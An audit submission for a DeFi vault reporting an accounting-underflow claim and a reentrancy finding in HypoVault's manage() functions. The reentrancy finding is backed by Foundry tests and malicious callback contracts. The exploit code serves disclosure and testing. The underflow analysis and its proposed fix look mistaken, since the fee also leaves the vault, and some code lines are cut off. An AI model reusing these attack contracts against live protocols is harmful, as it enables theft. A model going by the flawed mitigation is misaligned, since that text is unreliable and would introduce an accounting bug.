Findings for Submission

This was a competitive audit on Code4Area (July 2025).

Findings were submitted individually and are shown below based on format.

Scope included HypoVault.sol & PanopticVaultAccountant.sol

[H-1] Reserved Assets Underflow Attack in HypoVault.executeWithdrawal()

Summary

A critical accounting vulnerability in `HypoVault.executeWithdrawal()` causes arithmetic underflow when `reservedWithdrawalAssets` is decremented by more than users actually receive. This occurs due to a mismatch between the amount deducted from reserves and the net amount transferred to users after performance fees.

Root Cause

The vulnerability exists in lines 365 and 389 of `HypoVault.sol`:

```
// Line 365: Full amount deducted from reserves
reservedWithdrawalAssets -= assetsToWithdraw;

// Lines 388-389: But user receives reduced amount after fees
if (performanceFee > 0) {
    assetsToWithdraw -= performanceFee;
}
SafeTransferLib.safeTransfer(underlyingToken, user, assetsToWithdraw);
```

The Accounting Mismatch:

`reservedWithdrawalAssets` is reduced by the full `assetsToWithdraw` amount Users receive `assetsToWithdraw - performanceFee` (the net amount) Performance fees go to `feeWallet`, not users Over multiple withdrawals, this mismatch accumulates until `reservedWithdrawalAssets` underflows

Technical Analysis

The issue compounds through several mechanisms:

Performance Fee Calculation (Line 369-371):

```
uint256 performanceFee = (uint256(
    Math.max(0, int256(assetsToWithdraw) - int256(withdrawnBasis))
) * performanceFeeBps) / 10_000;
```

Basis Calculation with Rounding (Line 367-368):

```
uint256 withdrawnBasis = (uint256(pendingWithdrawal.basis) *
    _withdrawalEpochState.sharesFulfilled) / _withdrawalEpochState.sharesWithdrawn;
```

Asset Calculation with Rounding (Line 356-357):

```
uint256 sharesToFulfill = (uint256(pendingWithdrawal.amount) *
    _withdrawalEpochState.sharesFulfilled) / _withdrawalEpochState.sharesWithdrawn;
```

Each division operation introduces small rounding errors that accumulate across multiple users.

Attack Scenario

The vulnerability is triggered when:

1. **Manager partially fulfills withdrawals** via `fulfillWithdrawals()` (e.g., 99.9% fulfillment)
2. **Vault has appreciated** (creating profits subject to performance fees)
3. **Multiple users execute withdrawals** via `executeWithdrawal()`
4. **Cumulative accounting errors** eventually cause `reservedWithdrawalAssets -= assetsToWithdraw` to underflow
5. **Last users in epoch** cannot withdraw despite having valid pending withdrawals

Mathematical Proof

For each withdrawal:

```
Reserved_Assets_Deduction = assetsToWithdraw
Actual_User_Transfer = assetsToWithdraw - performanceFee
Error_Per_Withdrawal = performanceFee
```

After `n` withdrawals:

```
Cumulative_Error = Σ(performanceFee_i) for i = 1 to n
```

When `reservedWithdrawalAssets < assetsToWithdraw` for user `n+1`, the transaction reverts with arithmetic underflow.

Impact

Severity: High/Critical

- **Complete Loss of Funds**: Last users in each epoch lose their entire withdrawal amount
- **Irreversible Share Burning**: User shares are burned in `requestWithdrawal()` but no assets are transferred
- **System Failure**: Withdrawal mechanism becomes unreliable and breaks for remaining users
- **Unfair Distribution**: Earlier withdrawers succeed while later ones fail arbitrarily

Affected Users

- Users who execute withdrawals later in each epoch
- More likely to affect users during:
  - High vault performance (larger performance fees)
  - Partial epoch fulfillments (more rounding errors)
  - Periods with many small withdrawals

Proof of Concept

The provided PoC demonstrates 10 users attempting to withdraw after partial fulfillment with profits. The test shows that not all users can successfully withdraw due to the accounting underflow, confirming the vulnerability.

Key PoC results: - Setup: Multiple users with vault shares - Trigger: Partial fulfillment (99.9%) with 10% profit - Exploit: Execute withdrawals until underflow occurs - Impact: Last users fail to withdraw, accounting mismatch confirmed

Recommended Mitigation Steps

1. Fix the Accounting Order

Current (Vulnerable):

```
reservedWithdrawalAssets -= assetsToWithdraw;  //  Wrong

if (performanceFee > 0) {
    assetsToWithdraw -= performanceFee;
    SafeTransferLib.safeTransfer(underlyingToken, feeWallet, performanceFee);
}
SafeTransferLib.safeTransfer(underlyingToken, user, assetsToWithdraw);
```

Fixed (Secure):

```
// Calculate net withdrawal first
uint256 netWithdrawal = assetsToWithdraw - performanceFee;

// Add underflow protection
require(reservedWithdrawalAssets >= netWithdrawal, "Insufficient reserved assets");

// Deduct only the net amount
reservedWithdrawalAssets -= netWithdrawal;

// Transfer performance fee and user assets
if (performanceFee > 0) {
    SafeTransferLib.safeTransfer(underlyingToken, feeWallet, performanceFee);
}
SafeTransferLib.safeTransfer(underlyingToken, user, netWithdrawal);
```

2. Add Invariant Checking

Implement periodic validation that reserved assets match pending withdrawal obligations:

```
function validateReservedAssets() internal view {
    // Calculate total pending withdrawals across all epochs
    uint256 totalPending = calculateTotalPendingWithdrawals();
    require(reservedWithdrawalAssets >= totalPending, "Reserved assets insufficient");
}
```

3. Consider Alternative Approaches

- **Pre-calculate performance fees** in `fulfillWithdrawals()` rather than in `executeWithdrawal()`
- **Reserve net amounts** (after fees) instead of gross amounts
- **Implement reserve reconciliation** to detect and correct accounting drift

Additional Notes

This vulnerability demonstrates the importance of maintaining accounting invariants in DeFi protocols. The mismatch between reserved asset accounting and actual transfers creates a systemic risk that compounds over time, eventually causing complete system failure for affected users.

[H-2] Reentrancy Vulnerability in HypoVault.manage() Functions Allows State Manipulation

Summary

The HypoVault contract contains a critical reentrancy vulnerability in its `manage()` functions (Lines 444-451 and Lines 454-467). These functions allow managers to make arbitrary external calls without reentrancy protection, enabling malicious contracts to callback into the vault and potentially manipulate state during critical operations.

Vulnerability Details

The vulnerable code in both `manage()` functions makes external calls without proper reentrancy guards:

```
// Line 449 and 464
result = target.functionCallWithValue(data, value);
```

This creates a "trusted external call" vulnerability where: 1. Manager calls `manage()` with what they believe is a legitimate external contract 2. The external contract gains execution control

3. The malicious contract can callback into vault functions during execution 4. No reentrancy protection prevents these callbacks

Attack Scenarios & Real-World Examples

Scenario 1: Basic External Call Injection (Medium Severity)

Attack Vector: Manager directly calls malicious contract during normal operations.

Real-World Examples: - **Phishing Attack**: Manager receives "official" Uniswap integration guide with malicious contract address - **Typosquatting**: Manager uses `0x1f9840a85d5aF5bf1D1762F925BDADdC4201F985` instead of legitimate `0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984` (one digit difference) - **Social Engineering**: Attacker poses as protocol team and provides "upgraded" contract address - **Copy/Paste Error**: Manager copies wrong address from compromised documentation or chat

Demonstrated by: `test_submissionValidity_reentrancy_attack()`

Impact: External contracts can read vault state and attempt function calls during `manage()` execution

Scenario 2: Mid-Operation State Corruption (High Severity)

Attack Vector: Manager calls external contract as part of complex vault operations, corrupting ongoing processes.

Real-World Examples: - **Complex Fulfillment Strategy**: Manager executes multi-step deposit fulfillment: 1. Start `fulfillDeposits(1000 ETH)` 2. Call "Compound Protocol" to lend idle funds via `manage()` 3. Complete deposit fulfillment 4. But step 2 was malicious and corrupted vault state mid-process - **Rebalancing During Operations**: Manager calls "Balancer Protocol" to rebalance portfolio while processing epoch transitions, but the protocol is compromised - **Yield Farming Integration**: Manager integrates with "new DeFi protocol" during deposit processing, unknowingly calling malicious contract - **Emergency Rebalancing**: During market volatility, manager quickly calls external protocol for hedging, but uses compromised/phished address

Demonstrated by: `test_manage_during_fulfillment_critical()`

Impact: Malicious contracts can interfere with critical vault operations like fulfillments, potentially corrupting epoch state and user accounting

Scenario 3: State Transition Exploitation (High Severity)

Attack Vector: Manager calls external contract during vulnerable state transitions between vault operations.

Real-World Examples: - **Between Operations Timing**: 1. Users request withdrawals throughout the day 2. Manager thinks: "Before fulfilling withdrawals, let me hedge our position" 3. Manager calls `manage(hedgingProtocol, "buyPuts(100 ETH)", 0)` 4. "Hedging protocol" is malicious and manipulates withdrawal queue 5. Manager proceeds with `fulfillWithdrawals()` using corrupted data - **Daily Operations Workflow**: Manager has routine that involves external calls between user requests and fulfillments - **Automated Strategy Execution**: Manager uses automated strategies that call external protocols at specific times, creating predictable attack windows - **Cross-Protocol Arbitrage**: Manager attempts arbitrage between protocols during vault state transitions

Demonstrated by: `test_manage_between_operations()`

Impact: Attackers can exploit timing windows to manipulate vault state during transitions, affecting withdrawal/deposit calculations

Technical Impact

The vulnerability allows malicious external contracts to:

1. **Read Sensitive State**: Access vault balances, epochs, and reserved assets during operations
2. **Attempt State Manipulation**: Call user-facing functions like `requestDeposit()`, `requestWithdrawal()`, `executeDeposit()`, `executeWithdrawal()`
3. **Interfere with Critical Operations**: Disrupt ongoing fulfillments, epoch transitions, and user accounting
4. **Exploit Timing Windows**: Manipulate vault state during vulnerable transition periods

Root Cause

The root cause is the absence of reentrancy protection in the `manage()` functions: - Line 444-451: First `manage()` function lacks `nonReentrant` modifier - Line 454-467: Second `manage()` function lacks `nonReentrant` modifier - Line 449 & 464: The vulnerable external call `target.functionCallWithValue(data, value)`

Proof of Concept

Three test cases demonstrate the vulnerability:

1. `test_submissionValidity_reentrancy_attack()`: Shows basic callback capability
2. `test_manage_during_fulfillment_critical()`: Demonstrates interference with fulfillment operations

3. **`test_manage_between_operations()`**: Shows exploitation during state transitions

Run tests with:

```
forge test --match-test "test_submissionValidity\|test_manage_during\|test_manage_between" -
```

```
////////////////// TEST REENTRANCY VULNERABILITY ///////////////////////

// This demonstrates the basic callback reentrancy vulnerability in manage()

function test_submissionValidity_reentrancy_attack() public {
// Setup: Deploy malicious contract
MaliciousContract malicious = new MaliciousContract();

// Setup: Give Alice some tokens and let her deposit
vm.prank(Alice);
vault.requestDeposit(100 ether);

vm.startPrank(Manager);
accountant.setNav(100 ether);
vault.fulfillDeposits(100 ether, "");
vault.executeDeposit(Alice, 0);
vm.stopPrank();

// Alice should have shares now
uint256 aliceSharesBefore = vault.balanceOf(Alice);
assertGt(aliceSharesBefore, 0, "Alice should have shares");

// Record initial state
uint256 withdrawalEpochBefore = vault.withdrawalEpoch();

console.log("=== Before Attack ===");
console.log("Alice shares:", aliceSharesBefore);
console.log("Withdrawal epoch:", withdrawalEpochBefore);
console.log("Malicious contract attack executed:", malicious.attackExecuted());

// ATTACK: Manager innocently calls what they think is a legitimate protocol
vm.prank(Manager);
bytes memory data = abi.encodeCall(MaliciousContract.innocentFunction, (1000));
vault.manage(address(malicious), data, 0);

// Verify the attack was successful
console.log("=== After Attack ===");
console.log("Malicious contract attack executed:", malicious.attackExecuted());
console.log("Reentrancy calls made:", malicious.reentryCount());
```

```
// The attack should have succeeded in making reentrant calls
assertTrue(malicious.attackExecuted(), "Attack should have executed");
assertGt(malicious.reentryCount(), 0, "Should have made reentrant calls");

// The key vulnerability: External contract was able to call back into vault
// while vault was in the middle of executing manage()
console.log("VULNERABILITY DEMONSTRATED: External contract successfully reentered vault duri

}

function test_manage_during_fulfillment_critical() public {
    // Setup deposits
    vm.prank(Alice);
    vault.requestDeposit(100 ether);

    MaliciousContractCritical malicious = new MaliciousContractCritical();

    vm.startPrank(Manager);
    accountant.setNav(100 ether);

    console.log("Pre-manage state:");
    console.log("- Queued deposit:", vault.queuedDeposit(Alice, 0));
    console.log("- Deposit epoch:", vault.depositEpoch());

    // Manager thinks they're calling a rebalancing protocol
    bytes memory data = abi.encodeCall(MaliciousContractCritical.rebalanceStrategy, ());
    vault.manage(address(malicious), data, 0);

    console.log("Post-manage state:");
    console.log("- Attack executed:", malicious.attackExecuted());
    console.log("- Deposit epoch:", vault.depositEpoch());

    // Now continue with fulfillment - but state might be corrupted
    vault.fulfillDeposits(100 ether, "");

    vm.stopPrank();

    assertTrue(malicious.attackExecuted(), "Attack should have executed");
}

function test_manage_between_operations() public {
    // Setup: Alice has shares and requests withdrawal
    vm.prank(Alice);
    vault.requestDeposit(100 ether);

    vm.startPrank(Manager);
```

```
    accountant.setNav(100 ether);
    vault.fulfillDeposits(100 ether, "");
    vault.executeDeposit(Alice, 0);
    vm.stopPrank();

    // Alice requests withdrawal
    uint256 aliceShares = vault.balanceOf(Alice);
    vm.prank(Alice);
    vault.requestWithdrawal(uint128(aliceShares / 2));

    MaliciousContractTiming malicious = new MaliciousContractTiming();

    vm.startPrank(Manager);

    console.log("Vault state during transition:");
    console.log("- Alice balance:", vault.balanceOf(Alice));
    console.log("- Withdrawal epoch:", vault.withdrawalEpoch());
    console.log("- Reserved assets:", vault.reservedWithdrawalAssets());

    // Manager calls what they think is a legitimate protocol
    bytes memory data = abi.encodeCall(MaliciousContractTiming.timingAttack, ());
    vault.manage(address(malicious), data, 0);

    console.log("After timing attack:");
    console.log("- Attack executed:", malicious.attackExecuted());
    console.log("- Withdrawal manipulation attempted:", malicious.withdrawalManipulated());

    vm.stopPrank();

    assertTrue(malicious.attackExecuted(), "Timing attack should have executed");
}


contract MaliciousContract {
bool public attackExecuted;
uint256 public reentryCount;

function innocentFunction(uint256 amount) external {
    // This looks like an innocent function a manager might call
    // But it contains malicious reentrancy logic

    if (msg.sender != address(0) && !attackExecuted) {
        attackExecuted = true;
        reentryCount++;

        console.log("REENTRANCY: Malicious contract executing attack...");
```

```
        // Try to reenter the vault with various function calls
        try HypoVault(msg.sender).requestDeposit(1) {
            console.log("SUCCESS: Called requestDeposit during reentrancy");
            reentryCount++;
        } catch {
            console.log("FAILED: requestDeposit call failed");
        }

        try HypoVault(msg.sender).requestWithdrawal(1) {
            console.log("SUCCESS: Called requestWithdrawal during reentrancy");
            reentryCount++;
        } catch {
            console.log("FAILED: requestWithdrawal call failed");
        }

        // Try to read state during reentrancy
        try HypoVault(msg.sender).totalSupply() returns (uint256 supply) {
            console.log("SUCCESS: Read totalSupply during reentrancy:", supply);
            reentryCount++;
        } catch {
            console.log("FAILED: totalSupply read failed");
        }
    }
}
}

contract MaliciousContractCritical {
bool public attackExecuted;

function rebalanceStrategy() external {
    if (!attackExecuted) {
        attackExecuted = true;
        console.log("CRITICAL ATTACK: Interfering with fulfillment process");

        try HypoVault(msg.sender).requestDeposit(50 ether) {
            console.log("SUCCESS: Added new deposit during fulfillment");
        } catch {
            console.log("FAILED: New deposit failed");
        }

        uint256 currentEpoch = HypoVault(msg.sender).depositEpoch();
        console.log("Current epoch during fulfillment:", currentEpoch);
    }
}
}
```

```
contract MaliciousContractTiming {
bool public attackExecuted;
bool public withdrawalManipulated;

function timingAttack() external {
    if (!attackExecuted) {
        attackExecuted = true;
        console.log("TIMING ATTACK: Exploiting state transition");

        try HypoVault(msg.sender).requestWithdrawal(1) {
            console.log("SUCCESS: Made withdrawal request during transition");
            withdrawalManipulated = true;
        } catch {
            console.log("FAILED: Withdrawal request failed");
        }

        uint256 reserved = HypoVault(msg.sender).reservedWithdrawalAssets();
        console.log("Reserved assets during transition:", reserved);
    }
}
}
```

Recommended Mitigation Steps

1. **Add Reentrancy Protection**: Import and inherit from OpenZeppelin's `ReentrancyGuard`

```
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract HypoVault is ERC20Minimal, Multicall, Ownable, ReentrancyGuard {

    function manage(
        address target,
        bytes calldata data,
        uint256 value
    ) external onlyManager nonReentrant returns (bytes memory result) {
        result = target.functionCallWithValue(data, value);
    }

    function manage(
        address[] calldata targets,
        bytes[] calldata data,
        uint256[] calldata values
    ) external onlyManager nonReentrant returns (bytes[] memory results) {
        // ... existing implementation
```

```
    }
}
```

2. **Consider Additional Protections**:
    - Implement address whitelisting for trusted external contracts
    - Add pause functionality for emergency situations
    - Consider time delays for sensitive external calls

Severity Assessment

High Severity - The vulnerability enables external contracts to interfere with critical vault operations, potentially affecting user funds and vault accounting during fulfillments and epoch transitions.